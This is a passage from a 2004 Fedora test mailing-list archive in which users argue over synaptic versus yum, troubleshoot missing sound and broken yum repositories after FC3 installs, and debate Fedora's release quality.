etc.) > When synaptic can do the install it is much, much easier than manually > doing it with rpms. > > I wasn't aware that synaptic was a single arch package. I don't think > users care if synaptic isn't written in python. They just want a system > to easily install packages with. I'd say it works pretty darn good > 80-95% of the time. I understand it is not graphical (yet) but you do know that yum exists, right? yum install nameofpackage it will download and install all the dependencies you need, too. -sv From pnasrat at redhat.com Thu Nov 11 16:51:08 2004 From: pnasrat at redhat.com (Paul Nasrat) Date: Thu, 11 Nov 2004 11:51:08 -0500 Subject: java (tomcat&others) In-Reply-To: References: Message-ID: <1100191868.2753.5.camel@dhcp83-102.boston.redhat.com> On Thu, 2004-11-11 at 17:08 +0100, marek cervenka wrote: > hi, > > why is tomcat and other java related things droped from FC3? > i cannot find any informations about that Most of the java packaging work is going on upstream at JPackage - http://jpackage.org/ Hopefully 1.6 will be coming out soon - with all sorts of shiny newness. Paul From whooperhsd3 at earthlink.net Thu Nov 11 16:55:49 2004 From: whooperhsd3 at earthlink.net (William Hooper) Date: Thu, 11 Nov 2004 11:55:49 -0500 (EST) Subject: Why don't you guys like synaptic? In-Reply-To: <1100191782.4055.5.camel@localhost.localdomain> References: <419385DA.4080105@ku.edu> <1100187829.4454.29.camel@localhost.localdomain> <4348.12.29.16.103.1100190751.squirrel@whooper.org> <1100191782.4055.5.camel@localhost.localdomain> Message-ID: <2394.12.29.16.103.1100192149.squirrel@whooper.org> Kim Lux said: [snip] > I've had to install packages in the past that have needed 6 to twelve > other packages. (mplayer, xine, kdebase-devel of a new version, etc.) When > synaptic can do the install it is much, much easier than manually doing it > with rpms. [snip] And this is different from yum or up2date how? And before you go to complaining about no GUI, ask about getting bug 73715 fixed and you will have a GUI. https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=73715 -- William Hooper From jerone at gmail.com Thu Nov 11 16:50:41 2004 From: jerone at gmail.com (Jerone Young) Date: Fri, 12 Nov 2004 10:50:41 +1800 Subject: FC3 Final: no sound In-Reply-To: <9f50a7a00411110849fec3736@mail.gmail.com> References: <419296B5.5000009@linux.net.mk> <1100127247.7040.0.camel@x1-6-00-0a-e6-c7-6f-d8> <9f50a7a00411110849fec3736@mail.gmail.com> Message-ID: <9f50a7a004111108503cd3798f@mail.gmail.com> oh you did an upgrade. You need to do a full reinstall. Don't know but upgrading a FC pre Final to Final don't work out well. On Fri, 12 Nov 2004 10:49:33 +1800, Jerone Young wrote: > What soundcard do you have? What motherboard? I'm using the > snd-via82xx with no problem with my Abit A8V & Asus K8V. > > > > > On Wed, 10 Nov 2004 16:54:07 -0600, amazing powers of observation > wrote: > > no sound here eathier > > > > > > On Wed, 2004-11-10 at 23:31 +0100, Arangel Angov wrote: > > > I upgraded FC3 from FC3rc1 and I don't have sound. The module is > > > snd-via82xx, its loaded and the sound config tool detects it but still I > > > get no sound. When I try to raise the sound on the volume control applet > > > it just goes down. When I try to open the controls I get "Sorry no sound > > > devices/elements found"... I removed the module and inserted it again > > > but no luck. Everything worked fine with rc1. Anyone having similiar > > > problems? > > > > > > Arangel > > > > > > > -- > > fedora-test-list mailing list > > fedora-test-list at redhat.com > > To unsubscribe: > > http://www.redhat.com/mailman/listinfo/fedora-test-list > > > From lux at diesel-research.com Thu Nov 11 16:59:04 2004 From: lux at diesel-research.com (Kim Lux) Date: Thu, 11 Nov 2004 09:59:04 -0700 Subject: FC3 disappointment: KsCD locks system; grip; CDROM in general. In-Reply-To: References: <1100187712.4454.26.camel@localhost.localdomain> Message-ID: <1100192344.4055.14.camel@localhost.localdomain> I am using FC3 because I needed KDE3.3 for a package I had to build. (kdevelop.) I knew that someone was going to reply with a "if you can't take the heat get out of the kitchen". That is the wrong answer ! I didn't say I couldn't take the heat. I just fixed my CDROM issue. The problem is that when we release software with these issues in it, we give Linux a black eye. How many reporters are going to test FC3 and write a column that says "CDROM didn't work, sound didn't work." OS software is inferior. ?????? Journalists have no patience and they aren't technical and they inform a lot of common joe users. The suggestion about running FC2 is invalid as well. FC2 was released with bugs and they are still in the distro. For example: it was shipped with an issue in disk druid that would wreck dual booting with XP. There is a work around, but the point is that the Fedora Core released it in the first place. An FC2.1 release covering a few of these issues would make the world of difference. BTW: If you don't run FC, what are you supposed to run ? I don't like SUSE with its yast stuff. I am not going to run debian. RH8,9 and FC1 are abandoned. About the only other mainstream Linux is Mandrake. I like the way RH does things, so I run FC3. I am an advanced user, but what about joe average user ? Maybe that is what whitebox Linux is for. On Thu, 2004-11-11 at 16:48 +0000, John Hodrien wrote: > On Thu, 11 Nov 2004, Kim Lux wrote: > > > However, I think there should be sub releases in between releases that > > do nothing but make the previous release perfect. > > Nothing like setting your goals high... > > Fedora isn't supposed to be making a perfectly stable safe distro. It aims to > be a little bit more "out there". Non-Objective #1 sums it up nicely. > > If you want to complain about FC3 being buggy, don't use it. FC2 is still > being supported, so why are you running the absolute bleeding edge? > > jh > > -- > "My mother said to me, "If you become a soldier, you'll be a general; if you > become a monk, you'll end up as the pope." Instead, I became a painter, and > wound up Picasso." -- Pablo Picasso > -- Kim Lux (Mr.) Diesel Research Inc From lux at diesel-research.com Thu Nov 11 17:00:46 2004 From: lux at diesel-research.com (Kim Lux) Date: Thu, 11 Nov 2004 10:00:46 -0700 Subject: Why don't you guys like synaptic? In-Reply-To: <1100191684.3094.38.camel@binkley> References: <419385DA.4080105@ku.edu> <1100187829.4454.29.camel@localhost.localdomain> <4348.12.29.16.103.1100190751.squirrel@whooper.org> <1100191782.4055.5.camel@localhost.localdomain> <1100191684.3094.38.camel@binkley> Message-ID: <1100192446.4055.17.camel@localhost.localdomain> I knew about yum, but I had never used it until my involvement with FC3 test. I liked it. Joe average doesn't want a textual install/update tool. Put a synaptic type front end on yum and it too would be a winner. Ironically, yum on my machine is now broken because the repos aren't pointing anywhere meaningful. On Thu, 2004-11-11 at 11:48 -0500, seth vidal wrote: > On Thu, 2004-11-11 at 09:49 -0700, Kim Lux wrote: > > That was my point: synaptic and apt use rpms. So if I've got a > > dependency issue with apt and synaptic, I'll be having a dependency > > issue with rpms as well. I'd much, much rather use synaptic to take > > care of those issues than doing it manually with rpms. > > > > I've had to install packages in the past that have needed 6 to twelve > > other packages. (mplayer, xine, kdebase-devel of a new version, etc.) > > When synaptic can do the install it is much, much easier than manually > > doing it with rpms. > > > > I wasn't aware that synaptic was a single arch package. I don't think > > users care if synaptic isn't written in python. They just want a system > > to easily install packages with. I'd say it works pretty darn good > > 80-95% of the time. > > > I understand it is not graphical (yet) but you do know that yum exists, > right? > > yum install nameofpackage > > it will download and install all the dependencies you need, too. > > -sv > > -- Kim Lux (Mr.) Diesel Research Inc From douglas.furlong at firebox.com Thu Nov 11 16:59:09 2004 From: douglas.furlong at firebox.com (Douglas Furlong) Date: Thu, 11 Nov 2004 16:59:09 +0000 Subject: Why don't you guys like synaptic? In-Reply-To: <1100191782.4055.5.camel@localhost.localdomain> References: <419385DA.4080105@ku.edu> <1100187829.4454.29.camel@localhost.localdomain> <4348.12.29.16.103.1100190751.squirrel@whooper.org> <1100191782.4055.5.camel@localhost.localdomain> Message-ID: <1100192349.3313.86.camel@douglas-furlong.firebox.com> On Thu, 2004-11-11 at 09:49 -0700, Kim Lux wrote: > I wasn't aware that synaptic was a single arch package. No one said it was, William (I believe) state that APT was a single arch system. You really need to learn to seporate, RPM, APT, YUM, YUMI, YUMY (or however they are spealt) and Synaptic, up2date, etc etc etc they are different things. -- Douglas Furlong Systems Administrator Firebox.com T: 0870 420 4475 F: 0870 220 2178 -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From ufo at linux.net.mk Thu Nov 11 17:04:27 2004 From: ufo at linux.net.mk (Arangel Angov) Date: Thu, 11 Nov 2004 18:04:27 +0100 Subject: FC3 Final: no sound In-Reply-To: <9f50a7a004111108503cd3798f@mail.gmail.com> References: <419296B5.5000009@linux.net.mk> <1100127247.7040.0.camel@x1-6-00-0a-e6-c7-6f-d8> <9f50a7a00411110849fec3736@mail.gmail.com> <9f50a7a004111108503cd3798f@mail.gmail.com> Message-ID: <41939B9B.9050809@linux.net.mk> Jerone Young wrote: >oh you did an upgrade. You need to do a full reinstall. Don't know but >upgrading a FC pre Final to Final don't work out well. > Acctualy what I did was a reinstall. I checked the Install not the Upgrade field in anaconda. I just added all my previous mount points to my /boot, /home and / partition and did an install. From dowdle at montanalinux.org Thu Nov 11 17:03:39 2004 From: dowdle at montanalinux.org (Scott Dowdle) Date: Thu, 11 Nov 2004 09:03:39 -0800 (PST) Subject: fedora-test-list Digest, Vol 9, Issue 63 In-Reply-To: <20041111135432.B7F0D73668@hormel.redhat.com> Message-ID: Tony, I tacked on a "me too" to your bugzilla report. As mentioned in the "me too" addition, I've tried multiple machines for the install, same exact problem (not a hardware issue on the target install machines) AND I've redone the install server at least 3 times in different ways to make sure it wasn't the result of a corrupt file or something... so I don't think we are doing anything wrong. Install over NFS from an updated install tree (not iso image based) just is broken right now. I wish I knew where to find a log message that points the finger at what the problem is. I guess I could have tried it without updating the packages. Did you try that to see if it made any difference? [Installing from CD until it works] TYL, -- Scott Dowdle, System Admin 406.254.2367 (home) From skvidal at phy.duke.edu Thu Nov 11 17:01:02 2004 From: skvidal at phy.duke.edu (seth vidal) Date: Thu, 11 Nov 2004 12:01:02 -0500 Subject: Why don't you guys like synaptic? In-Reply-To: <1100192446.4055.17.camel@localhost.localdomain> References: <419385DA.4080105@ku.edu> <1100187829.4454.29.camel@localhost.localdomain> <4348.12.29.16.103.1100190751.squirrel@whooper.org> <1100191782.4055.5.camel@localhost.localdomain> <1100191684.3094.38.camel@binkley> <1100192446.4055.17.camel@localhost.localdomain> Message-ID: <1100192462.3094.41.camel@binkley> On Thu, 2004-11-11 at 10:00 -0700, Kim Lux wrote: > I knew about yum, but I had never used it until my involvement with FC3 > test. I liked it. Joe average doesn't want a textual install/update > tool. Put a synaptic type front end on yum and it too would be a > winner. > > Ironically, yum on my machine is now broken because the repos > aren't pointing anywhere meaningful. the repos aren't pointing anywhere meaningful? Where did you get the yum package? The yum package (in combination with fedora-release) that comes with fc3 has working configuration files. -sv From lux at diesel-research.com Thu Nov 11 17:08:11 2004 From: lux at diesel-research.com (Kim Lux) Date: Thu, 11 Nov 2004 10:08:11 -0700 Subject: Why don't you guys like synaptic? In-Reply-To: <1100192462.3094.41.camel@binkley> References: <419385DA.4080105@ku.edu> <1100187829.4454.29.camel@localhost.localdomain> <4348.12.29.16.103.1100190751.squirrel@whooper.org> <1100191782.4055.5.camel@localhost.localdomain> <1100191684.3094.38.camel@binkley> <1100192446.4055.17.camel@localhost.localdomain> <1100192462.3094.41.camel@binkley> Message-ID: <1100192891.4055.24.camel@localhost.localdomain> I did an upgrade path: FC3rc3->FC3Rc5 via yum updates. Then yum went quiet. I then did a upgrade to FC3 final via ISO CDROMs. Yum is still pointing at a development repo and I haven't had time to change it. I did rpm -e yum and re install it, but it didn't touch the repos. On Thu, 2004-11-11 at 12:01 -0500, seth vidal wrote: > On Thu, 2004-11-11 at 10:00 -0700, Kim Lux wrote: > > I knew about yum, but I had never used it until my involvement with FC3 > > test. I liked it. Joe average doesn't want a textual install/update > > tool. Put a synaptic type front end on yum and it too would be a > > winner. > > > > Ironically, yum on my machine is now broken because the repos > > aren't pointing anywhere meaningful. > > the repos aren't pointing anywhere meaningful? Where did you get the yum > package? The yum package (in combination with fedora-release) that comes > with fc3 has working configuration files. > > > -sv > > -- Kim Lux (Mr.) Diesel Research Inc From douglas.furlong at firebox.com Thu Nov 11 17:10:21 2004 From: douglas.furlong at firebox.com (Douglas Furlong) Date: Thu, 11 Nov 2004 17:10:21 +0000 Subject: Why don't you guys like synaptic? In-Reply-To: <1100192891.4055.24.camel@localhost.localdomain> References: <419385DA.4080105@ku.edu> <1100187829.4454.29.camel@localhost.localdomain> <4348.12.29.16.103.1100190751.squirrel@whooper.org> <1100191782.4055.5.camel@localhost.localdomain> <1100191684.3094.38.camel@binkley> <1100192446.4055.17.camel@localhost.localdomain> <1100192462.3094.41.camel@binkley> <1100192891.4055.24.camel@localhost.localdomain> Message-ID: <1100193021.3313.88.camel@douglas-furlong.firebox.com> On Thu, 2004-11-11 at 10:08 -0700, Kim Lux wrote: > I did an upgrade path: FC3rc3->FC3Rc5 via yum updates. Then yum went > quiet. I then did a upgrade to FC3 final via ISO CDROMs. Yum is still > pointing at a development repo and I haven't had time to change it. I > did rpm -e yum and re install it, but it didn't touch the repos. you need to make sure that you have the right fedora-release package. This sets up the repo's in /etc/yum.repos.d -- Douglas Furlong Systems Administrator Firebox.com T: 0870 420 4475 F: 0870 220 2178 -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From lux at diesel-research.com Thu Nov 11 17:12:05 2004 From: lux at diesel-research.com (Kim Lux) Date: Thu, 11 Nov 2004 10:12:05 -0700 Subject: FC3 Final: no sound In-Reply-To: <41939B9B.9050809@linux.net.mk> References: <419296B5.5000009@linux.net.mk> <1100127247.7040.0.camel@x1-6-00-0a-e6-c7-6f-d8> <9f50a7a00411110849fec3736@mail.gmail.com> <9f50a7a004111108503cd3798f@mail.gmail.com> <41939B9B.9050809@linux.net.mk> Message-ID: <1100193125.4055.29.camel@localhost.localdomain> We had this argument last week. UPGRADES ARE SUPPOSED TO WORK ! UPGRADES ARE NOT AN EXCUSE FOR SOMETHING NOT WORKING ! Arangel: I wouldn't re install Linux. Someone gave me the upgrade excuse when I had a sound problem. I re installed and it didn't make any difference. I had a sound problem with a laptop with an intel-8x0m device. I added snd-intel8x0m to /etc/hotplug/blacklist and rebooted. I went to the KDE->ControlCenter->Sound & Multimedia-> Sound System- >Enable. Then I went to KDE->System Settings->Soundcard Detection. It detected my soundcard and it has worked ever since. On Thu, 2004-11-11 at 18:04 +0100, Arangel Angov wrote: > Jerone Young wrote: > > >oh you did an upgrade. You need to do a full reinstall. Don't know but > >upgrading a FC pre Final to Final don't work out well. > > > > Acctualy what I did was a reinstall. I checked the Install not the > Upgrade field in anaconda. I just added all my previous mount points to > my /boot, /home and / partition and did an install. > -- Kim Lux (Mr.) Diesel Research Inc From lux at diesel-research.com Thu Nov 11 17:13:21 2004 From: lux at diesel-research.com (Kim Lux) Date: Thu, 11 Nov 2004 10:13:21 -0700 Subject: Why don't you guys like synaptic? In-Reply-To: <1100193021.3313.88.camel@douglas-furlong.firebox.com> References: <419385DA.4080105@ku.edu> <1100187829.4454.29.camel@localhost.localdomain> <4348.12.29.16.103.1100190751.squirrel@whooper.org> <1100191782.4055.5.camel@localhost.localdomain> <1100191684.3094.38.camel@binkley> <1100192446.4055.17.camel@localhost.localdomain> <1100192462.3094.41.camel@binkley> <1100192891.4055.24.camel@localhost.localdomain> <1100193021.3313.88.camel@douglas-furlong.firebox.com> Message-ID: <1100193201.4055.31.camel@localhost.localdomain> Please explain this further. Better yet, post your yum repo files ! On Thu, 2004-11-11 at 17:10 +0000, Douglas Furlong wrote: > you need to make sure that you have the right fedora-release package. > > This sets up the repo's in /etc/yum.repos.d > -- > fedora-test-list mailing list > fedora-test-list at redhat.com > To unsubscribe: > http://www.redhat.com/mailman/listinfo/fedora-test-list -- Kim Lux (Mr.) Diesel Research Inc From skvidal at phy.duke.edu Thu Nov 11 17:12:38 2004 From: skvidal at phy.duke.edu (seth vidal) Date: Thu, 11 Nov 2004 12:12:38 -0500 Subject: Why don't you guys like synaptic? In-Reply-To: <1100193201.4055.31.camel@localhost.localdomain> References: <419385DA.4080105@ku.edu> <1100187829.4454.29.camel@localhost.localdomain> <4348.12.29.16.103.1100190751.squirrel@whooper.org> <1100191782.4055.5.camel@localhost.localdomain> <1100191684.3094.38.camel@binkley> <1100192446.4055.17.camel@localhost.localdomain> <1100192462.3094.41.camel@binkley> <1100192891.4055.24.camel@localhost.localdomain> <1100193021.3313.88.camel@douglas-furlong.firebox.com> <1100193201.4055.31.camel@localhost.localdomain> Message-ID: <1100193158.3094.44.camel@binkley> On Thu, 2004-11-11 at 10:13 -0700, Kim Lux wrote: > Please explain this further. Better yet, post your yum repo files ! rpm -ql fedora-release -sv From lux at diesel-research.com Thu Nov 11 17:19:27 2004 From: lux at diesel-research.com (Kim Lux) Date: Thu, 11 Nov 2004 10:19:27 -0700 Subject: Why don't you guys like synaptic? In-Reply-To: <1100193158.3094.44.camel@binkley> References: <419385DA.4080105@ku.edu> <1100187829.4454.29.camel@localhost.localdomain> <4348.12.29.16.103.1100190751.squirrel@whooper.org> <1100191782.4055.5.camel@localhost.localdomain> <1100191684.3094.38.camel@binkley> <1100192446.4055.17.camel@localhost.localdomain> <1100192462.3094.41.camel@binkley> <1100192891.4055.24.camel@localhost.localdomain> <1100193021.3313.88.camel@douglas-furlong.firebox.com> <1100193201.4055.31.camel@localhost.localdomain> <1100193158.3094.44.camel@binkley> Message-ID: <1100193567.4055.34.camel@localhost.localdomain> I didn't realize fedora-release was a package. It should have updated during the update like any other package. It looks OK to me. What did it look like for fedora-test ? /etc/fedora-release /etc/issue /etc/issue.net /etc/redhat-release /etc/sysconfig/rhn /etc/sysconfig/rhn/sources /etc/yum.repos.d /etc/yum.repos.d/fedora-devel.repo /etc/yum.repos.d/fedora-updates-testing.repo /etc/yum.repos.d/fedora-updates.repo /etc/yum.repos.d/fedora.repo /usr/share/doc/HTML /usr/share/doc/HTML/css /usr/share/doc/HTML/css/content.css /usr/share/doc/HTML/css/docbook.css /usr/share/doc/HTML/css/layout.css /usr/share/doc/HTML/css/print.css /usr/share/doc/HTML/img /usr/share/doc/HTML/img/corner-bl.png /usr/share/doc/HTML/img/corner-br.png /usr/share/doc/HTML/img/corner-tl.png /usr/share/doc/HTML/img/corner-tr.png /usr/share/doc/HTML/img/header-download.png /usr/share/doc/HTML/img/header-faq.png /usr/share/doc/HTML/img/header-fedora_logo.png /usr/share/doc/HTML/img/header-projects.png /usr/share/doc/HTML/index.html /usr/share/doc/fedora-release-3 /usr/share/doc/fedora-release-3/GPL /usr/share/doc/fedora-release-3/README-Accessibility /usr/share/doc/fedora-release-3/README-x86-en /usr/share/doc/fedora-release-3/README-x86-en.html /usr/share/doc/fedora-release-3/RELEASE-NOTES-x86-en /usr/share/doc/fedora-release-3/RELEASE-NOTES-x86-en.html /usr/share/doc/fedora-release-3/RPM-GPG-KEY /usr/share/doc/fedora-release-3/RPM-GPG-KEY-beta /usr/share/doc/fedora-release-3/RPM-GPG-KEY-fedora /usr/share/doc/fedora-release-3/RPM-GPG-KEY-fedora-rawhide /usr/share/doc/fedora-release-3/RPM-GPG-KEY-fedora-test /usr/share/doc/fedora-release-3/RPM-GPG-KEY-rawhide /usr/share/doc/fedora-release-3/autorun-template /usr/share/doc/fedora-release-3/eula.txt /usr/share/eula/eula.en_US /usr/share/firstboot/modules/eula.py On Thu, 2004-11-11 at 12:12 -0500, seth vidal wrote: > On Thu, 2004-11-11 at 10:13 -0700, Kim Lux wrote: > > Please explain this further. Better yet, post your yum repo files ! > > rpm -ql fedora-release > > -sv > > -- Kim Lux (Mr.) Diesel Research Inc From skvidal at phy.duke.edu Thu Nov 11 17:17:48 2004 From: skvidal at phy.duke.edu (seth vidal) Date: Thu, 11 Nov 2004 12:17:48 -0500 Subject: Why don't you guys like synaptic? In-Reply-To: <1100193567.4055.34.camel@localhost.localdomain> References: <419385DA.4080105@ku.edu> <1100187829.4454.29.camel@localhost.localdomain> <4348.12.29.16.103.1100190751.squirrel@whooper.org> <1100191782.4055.5.camel@localhost.localdomain> <1100191684.3094.38.camel@binkley> <1100192446.4055.17.camel@localhost.localdomain> <1100192462.3094.41.camel@binkley> <1100192891.4055.24.camel@localhost.localdomain> <1100193021.3313.88.camel@douglas-furlong.firebox.com> <1100193201.4055.31.camel@localhost.localdomain> <1100193158.3094.44.camel@binkley> <1100193567.4055.34.camel@localhost.localdomain> Message-ID: <1100193468.3094.46.camel@binkley> > /etc/yum.repos.d > /etc/yum.repos.d/fedora-devel.repo > /etc/yum.repos.d/fedora-updates-testing.repo > /etc/yum.repos.d/fedora-updates.repo > /etc/yum.repos.d/fedora.repo Notice these files. those are the yum repo files. -sv From perbj at stanford.edu Thu Nov 11 17:16:16 2004 From: perbj at stanford.edu (Per Bjornsson) Date: Thu, 11 Nov 2004 09:16:16 -0800 Subject: FC3 disappointment: KsCD locks system; grip; CDROM in general. In-Reply-To: <1100192344.4055.14.camel@localhost.localdomain> References: <1100187712.4454.26.camel@localhost.localdomain> <1100192344.4055.14.camel@localhost.localdomain> Message-ID: <1100193377.4376.16.camel@localhost.localdomain> On Thu, 2004-11-11 at 09:59 -0700, Kim Lux wrote: > BTW: If you don't run FC, what are you supposed to run ? I don't like > SUSE with its yast stuff. I am not going to run debian. RH8,9 and FC1 > are abandoned. About the only other mainstream Linux is Mandrake. I > like the way RH does things, so I run FC3. I am an advanced user, but > what about joe average user ? Maybe that is what whitebox Linux is > for. Well, from Red Hat there's Red Hat Professional Workstation, sold at your local computer store (at least they have it at Fry's...) The one in the stores now is pretty much RHEL 3 but without very much of a support contract. Fedora (by design) pretty much has to be a platform for people who to some extent know what they are doing. Cheers, Per -- Per Bjornsson From nphilipp at redhat.com Thu Nov 11 17:26:45 2004 From: nphilipp at redhat.com (Nils Philippsen) Date: Thu, 11 Nov 2004 18:26:45 +0100 Subject: FC3 Final: no sound In-Reply-To: <1100193125.4055.29.camel@localhost.localdomain> References: <419296B5.5000009@linux.net.mk> <1100127247.7040.0.camel@x1-6-00-0a-e6-c7-6f-d8> <9f50a7a00411110849fec3736@mail.gmail.com> <9f50a7a004111108503cd3798f@mail.gmail.com> <41939B9B.9050809@linux.net.mk> <1100193125.4055.29.camel@localhost.localdomain> Message-ID: <1100194006.10404.26.camel@wombat.tiptoe.de> On Thu, 2004-11-11 at 10:12 -0700, Kim Lux wrote: > We had this argument last week. UPGRADES ARE SUPPOSED TO WORK ! > UPGRADES ARE NOT AN EXCUSE FOR SOMETHING NOT WORKING ! We have this argument every time something breaks when upgrading from test releases to final releases: they are not supported. Primarily because we may decide to _downgrade_ certain components between test releases or before a final. Oh and please stop screaming, this hurts ;-). Not that I would advise reinstalling to fix such a problem either. Nils -- Nils Philippsen / Red Hat / nphilipp at redhat.com "They that can give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety." -- B. Franklin, 1759 PGP fingerprint: C4A8 9474 5C4C ADE3 2B8F 656D 47D8 9B65 6951 3011 From nphilipp at redhat.com Thu Nov 11 17:29:17 2004 From: nphilipp at redhat.com (Nils Philippsen) Date: Thu, 11 Nov 2004 18:29:17 +0100 Subject: Why don't you guys like synaptic? In-Reply-To: <1100192462.3094.41.camel@binkley> References: <419385DA.4080105@ku.edu> <1100187829.4454.29.camel@localhost.localdomain> <4348.12.29.16.103.1100190751.squirrel@whooper.org> <1100191782.4055.5.camel@localhost.localdomain> <1100191684.3094.38.camel@binkley> <1100192446.4055.17.camel@localhost.localdomain> <1100192462.3094.41.camel@binkley> Message-ID: <1100194157.10404.28.camel@wombat.tiptoe.de> On Thu, 2004-11-11 at 12:01 -0500, seth vidal wrote: > On Thu, 2004-11-11 at 10:00 -0700, Kim Lux wrote: > > I knew about yum, but I had never used it until my involvement with FC3 > > test. I liked it. Joe average doesn't want a textual install/update > > tool. Put a synaptic type front end on yum and it too would be a > > winner. > > > > Ironically, yum on my machine is now broken because the repos > > aren't pointing anywhere meaningful. > > the repos aren't pointing anywhere meaningful? Where did you get the yum > package? The yum package (in combination with fedora-release) that comes > with fc3 has working configuration files. Just a side note: yum wouldn't update fedora-release-3-rawhide to fedora-release-3-8 for me, I had to do this manually. Nils -- Nils Philippsen / Red Hat / nphilipp at redhat.com "They that can give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety." -- B. Franklin, 1759 PGP fingerprint: C4A8 9474 5C4C ADE3 2B8F 656D 47D8 9B65 6951 3011 From skvidal at phy.duke.edu Thu Nov 11 17:27:28 2004 From: skvidal at phy.duke.edu (seth vidal) Date: Thu, 11 Nov 2004 12:27:28 -0500 Subject: Why don't you guys like synaptic? In-Reply-To: <1100194157.10404.28.camel@wombat.tiptoe.de> References: <419385DA.4080105@ku.edu> <1100187829.4454.29.camel@localhost.localdomain> <4348.12.29.16.103.1100190751.squirrel@whooper.org> <1100191782.4055.5.camel@localhost.localdomain> <1100191684.3094.38.camel@binkley> <1100192446.4055.17.camel@localhost.localdomain> <1100192462.3094.41.camel@binkley> <1100194157.10404.28.camel@wombat.tiptoe.de> Message-ID: <1100194049.3094.48.camel@binkley> On Thu, 2004-11-11 at 18:29 +0100, Nils Philippsen wrote: > On Thu, 2004-11-11 at 12:01 -0500, seth vidal wrote: > > On Thu, 2004-11-11 at 10:00 -0700, Kim Lux wrote: > > > I knew about yum, but I had never used it until my involvement with FC3 > > > test. I liked it. Joe average doesn't want a textual install/update > > > tool. Put a synaptic type front end on yum and it too would be a > > > winner. > > > > > > Ironically, yum on my machine is now broken because the repos > > > aren't pointing anywhere meaningful. > > > > the repos aren't pointing anywhere meaningful? Where did you get the yum > > package? The yum package (in combination with fedora-release) that comes > > with fc3 has working configuration files. > > Just a side note: yum wouldn't update fedora-release-3-rawhide to > fedora-release-3-8 for me, I had to do this manually. > Right. set exactarch=0 in your yum.conf and it will. fedora-release changed from i386/x86_64 to noarch b/t fc2 and fc3. yum won't let a package change architectures if you have exactarch=1 -sv From lux at diesel-research.com Thu Nov 11 17:30:27 2004 From: lux at diesel-research.com (Kim Lux) Date: Thu, 11 Nov 2004 10:30:27 -0700 Subject: FC3 disappointment: KsCD locks system; grip; CDROM in general. In-Reply-To: <1100193377.4376.16.camel@localhost.localdomain> References: <1100187712.4454.26.camel@localhost.localdomain> <1100192344.4055.14.camel@localhost.localdomain> <1100193377.4376.16.camel@localhost.localdomain> Message-ID: <1100194227.4069.2.camel@localhost.localdomain> Does it run KDE3.3 ??? No. I need KDE3.3 to run the latest kdevelop. I am using it on a project and it is not an option to use something else. The issue here isn't ME or Me running FC3. The issue is that we've released FC3 with some serious issues in it. I just had to reboot to regain access to my cdrom. Such an event is fine in a test release or even a release candidate. It is totally unacceptable in a final release. On Thu, 2004-11-11 at 09:16 -0800, Per Bjornsson wrote: > On Thu, 2004-11-11 at 09:59 -0700, Kim Lux wrote: > > > BTW: If you don't run FC, what are you supposed to run ? I don't like > > SUSE with its yast stuff. I am not going to run debian. RH8,9 and FC1 > > are abandoned. About the only other mainstream Linux is Mandrake. I > > like the way RH does things, so I run FC3. I am an advanced user, but > > what about joe average user ? Maybe that is what whitebox Linux is > > for. > > Well, from Red Hat there's Red Hat Professional Workstation, sold at > your local computer store (at least they have it at Fry's...) The one in > the stores now is pretty much RHEL 3 but without very much of a support > contract. Fedora (by design) pretty much has to be a platform for people > who to some extent know what they are doing. > > Cheers, > Per > > -- > Per Bjornsson > -- Kim Lux (Mr.) Diesel Research Inc From lux at diesel-research.com Thu Nov 11 17:33:52 2004 From: lux at diesel-research.com (Kim Lux) Date: Thu, 11 Nov 2004 10:33:52 -0700 Subject: FC3 Final: no sound In-Reply-To: <1100194006.10404.26.camel@wombat.tiptoe.de> References: <419296B5.5000009@linux.net.mk> <1100127247.7040.0.camel@x1-6-00-0a-e6-c7-6f-d8> <9f50a7a00411110849fec3736@mail.gmail.com> <9f50a7a004111108503cd3798f@mail.gmail.com> <41939B9B.9050809@linux.net.mk> <1100193125.4055.29.camel@localhost.localdomain> <1100194006.10404.26.camel@wombat.tiptoe.de> Message-ID: <1100194432.4069.7.camel@localhost.localdomain> Nobody has ever mentioned downgrading packages prior to release before. Is there a list of such downgrades somewhere ? Let me ask this: if Fedora Core 3rc5 was the last one anyone tested and THEN the release team decided to downgrade some packages, when was the "downgraded" release ever tested ?????? I don't mean to shout and I don't mean to create hurt feelings, but I really think the release/testing process could be dramatically improved. BTW: I ran a software team that developed about a million lines of VB for a Windows app. We weren't perfect either, but we were pretty good. On Thu, 2004-11-11 at 18:26 +0100, Nils Philippsen wrote: > On Thu, 2004-11-11 at 10:12 -0700, Kim Lux wrote: > > We had this argument last week. UPGRADES ARE SUPPOSED TO WORK ! > > UPGRADES ARE NOT AN EXCUSE FOR SOMETHING NOT WORKING ! > > We have this argument every time something breaks when upgrading from > test releases to final releases: they are not supported. Primarily > because we may decide to _downgrade_ certain components between test > releases or before a final. Oh and please stop screaming, this > hurts ;-). > > Not that I would advise reinstalling to fix such a problem either. > > Nils > -- > Nils Philippsen / Red Hat / nphilipp at redhat.com > "They that can give up essential liberty to obtain a little temporary > safety deserve neither liberty nor safety." -- B. Franklin, 1759 > PGP fingerprint: C4A8 9474 5C4C ADE3 2B8F 656D 47D8 9B65 6951 3011 > -- Kim Lux (Mr.) Diesel Research Inc From lux at diesel-research.com Thu Nov 11 17:36:11 2004 From: lux at diesel-research.com (Kim Lux) Date: Thu, 11 Nov 2004 10:36:11 -0700 Subject: Why don't you guys like synaptic? In-Reply-To: <1100194157.10404.28.camel@wombat.tiptoe.de> References: <419385DA.4080105@ku.edu> <1100187829.4454.29.camel@localhost.localdomain> <4348.12.29.16.103.1100190751.squirrel@whooper.org> <1100191782.4055.5.camel@localhost.localdomain> <1100191684.3094.38.camel@binkley> <1100192446.4055.17.camel@localhost.localdomain> <1100192462.3094.41.camel@binkley> <1100194157.10404.28.camel@wombat.tiptoe.de> Message-ID: <1100194571.4069.9.camel@localhost.localdomain> There was a release (candidate) 8 ? I thought we stopped at rc 5 ? I agree that yum wouldn't upgrade anymore; I had the same problem and didn't have time to stop and find out why. There was a communication problem between the testers and the team in the last week or so prior to releasing. On Thu, 2004-11-11 at 18:29 +0100, Nils Philippsen wrote: > On Thu, 2004-11-11 at 12:01 -0500, seth vidal wrote: > > On Thu, 2004-11-11 at 10:00 -0700, Kim Lux wrote: > > > I knew 